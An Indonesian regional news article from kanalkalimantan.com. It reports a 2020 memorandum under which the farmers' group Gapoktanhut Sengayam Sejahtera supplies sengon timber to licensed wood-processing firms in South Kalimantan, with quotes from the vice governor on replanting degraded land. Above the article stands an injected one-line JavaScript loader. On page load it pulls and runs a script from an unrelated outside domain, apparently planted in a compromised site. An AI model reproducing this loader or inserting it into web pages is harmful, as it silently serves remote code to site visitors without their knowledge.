(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kalimantan Selatan

Gapoktanhut di Kalsel Penyuplai Sengon ke Perusahan Pemegang IUIPHHK

KANALKALIMANTAN.COM, BANJARBARU – Gabungan Kelompok Tani Hutan (Gapoktanhut) Sengayam Sejahtera menjadi penyedia bahan baku bagi perusahaan pemegang Izin Usaha Industri Primer Hasil Hutan Kayu (IUIPHHK).

Hal itu setelah dilakukannya penandatangan kerjasama (MoU) antar pihak perwakilan Gapoktanhut Sengayam Sejahtera dan para pemimpin perusahaan di kantor Dinas Kehutanan (Dishut) Provinsi Kalsel, Selasa (29/12/2020).

Penandatanganan MoU disaksikan Wakil Gubernur Kalsel Rudy Resnawan dan Plt Kadishut Kalsel Fatimatuzzahra.

Wakil Gubenur Kalsel Rudy Resnawan berharap, kerjasama bahan baku antar Gapoktanhut dan perusahaan ini tak cuma di atas kertas saja. “Tapi benar-benar laksanakan dengan komitmen yang kuat sehingga bisa bermanfaat bagi semua pihak,” katanya.

Plt Kepala Dishut Kalsel Fatimatuzzahra. Foto: rico

Menurut Rudy, terjalinnya kerjasama ini dapat mendukung usaha para kelompok tani hutan di Kalsel. Termasuk juga membantu menyukseskan program revolusi hijau, lantaran memberdayakan tumbuhan sengon sebagai salah satu bahan baku industri.

“Dengan revolusi hijau kita mengantisipasi kerusakan baru sekaligus mengurangi jumlah lahan kritis dengan penanaman,” kata Rudy.
Program revolusi hijau yang terus digalakan sejak 2017 silam, menjadi upaya Pemprov Kalsel dalam meminimalisir luasan lahan kritis yang saat ini tengah terjadi. Berdasarkan data, jumlah lahan kritis di Kalsel sebanyak 511 ribu hektare dari 1,7 juta kawasan hutan lindung.

Melalui program revolusi hijau, Rudy mengajak semua elemen di masyarakat untuk turut menyukseskan dengan cara menanam pohon di lingkungannya.

“Lahan kritis tak bisa dibiarkan bertambah karena berdampak bagi kualitas hidup generasi mendatang,” harap Wakil Gubernur Kalsel.

Di sisi lain, Plt Kepala Dishut Kalsel Fatimatuzzahra menjelaskan bahwa tumbuhan sengon hasil budidaya Gapoktanhut, berfungsi sebagai bahan baku bagi perusaan industri primer. Pada hari ini pula, hasil budidaya kayu sengon itu mulai didistribusikan ke setiap perusahan.

“Hari ini sudah dimulai pengiriman kayu sengon sebanyak 40 meter kubik dengan diangkut 5 armada truk. Kayu sengon ini hasil budidaya Gapoktanhut Sengayam Sejahtera dan dikirim ke PT Sukses Wijaya Adimakmur,” terangnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie